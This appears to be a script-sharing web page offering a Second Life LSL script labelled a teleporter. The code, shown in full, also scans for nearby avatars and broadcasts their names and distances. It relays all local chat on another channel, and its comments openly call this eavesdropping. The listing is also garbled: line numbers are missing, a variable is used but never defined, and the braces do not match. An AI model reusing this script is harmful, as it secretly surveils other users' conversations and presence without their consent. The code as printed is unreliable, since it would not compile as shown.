Join us in Outworldz at www.outworldz.com:9000 or follow us:

Search dozens of selected web sites for OpenSim and LSL script

New! Script Meta-Search will search thousands of scripts here and at other sites for LSL or Opensim scripts.
Loading

Want to add a script or a project? Upload it and a half million people will see it and your name here this year.

Home   Show All
Category: Contributor: Creator
Teleport Teleport_and_sensor  

Teleport_and_sensor

triple use script:
Teleports toucher to target position,
senses nearby avatars and transmits data,
listens in on local chatter and transmits that as well.
By Ariane Brodie et al.

Category: Teleport
By : Ariane Brodie
Created: 2010-01-10 Edited: 2010-01-10
Worlds: Second Life

the Zip file

Download all files for Teleport_and_sensor
Contents are in zip format, with .LSL (text) source code and LSLEdit (text + Solution) formats.
Get file # 1. Teleport_and_sensor_1.lsl
1
2 vector targetPos = <50, 100, 90>; //The target location
3 string fltText = ""; //text that hovers above object
4 integer Handle;
5
6 reset()
7 {
8 vector target;
9
10 target = (targetPos- llGetPos()) * (ZERO_ROTATION / llGetRot());
12 llSetSitText("Teleport");
13 llSetText(fltText, <1,1,1>, 1);
14 }
15
16 default
17 {
19 {
20 reset();
21 llSensorRepeat("","",AGENT,96,PI,3);
22 Handle = llListen( 0, "", NULL_KEY, "" );
23 }
24
25 sensor(integer n)
26 {
27 integer i;
28 vector pos;
29 integer dist;
30 //the following will time stamp the data sent using SL time.
32 string hr = "0"+(string)((t/3600)%4);
33 integer len = llStringLength(hr);
34 hr = llGetSubString(hr, len - 2, len - 1);
35 string mn = "0"+(string)((t%3600)/60);
36 len = llStringLength(mn);
37 mn = llGetSubString(mn, len - 2, len - 1);
38 string sc = "0"+(string)(t%60);
39 len = llStringLength(sc);
40 sc = llGetSubString(sc, len - 2, len - 1);
41 string dt = hr+":"+mn+":"+sc+" (SLT)";
42
43 string iSee = "";
44 for(i=0; i<n; i++) {
46 pos = llDetectedPos(i);
47 dist = (integer)llVecDist(pos, targetPos);
48 iSee += "[1:"+llDetectedName(i)+" @ "+(string)dist+"M]\n";
49 }
50 }
51 if(iSee != "") llShout(5,dt+"\n"+iSee);
52 }
53
54 on_rez(integer startup_param)
55 {
56 reset();
57 }
58 listen(integer channel, string name, key id, string message)
59 {
60 // operates a listening device to eaves drop.
61
62 llShout(10,message);
63 //transmits via channel 10, you can use any channel you want, but receiver must use same.
64 }
65
66 changed(integer change)
67 {
68 llSleep(0.15);
70 reset();
71 }
72 }

Back to the Best Free Tools in Second Life and OpenSim.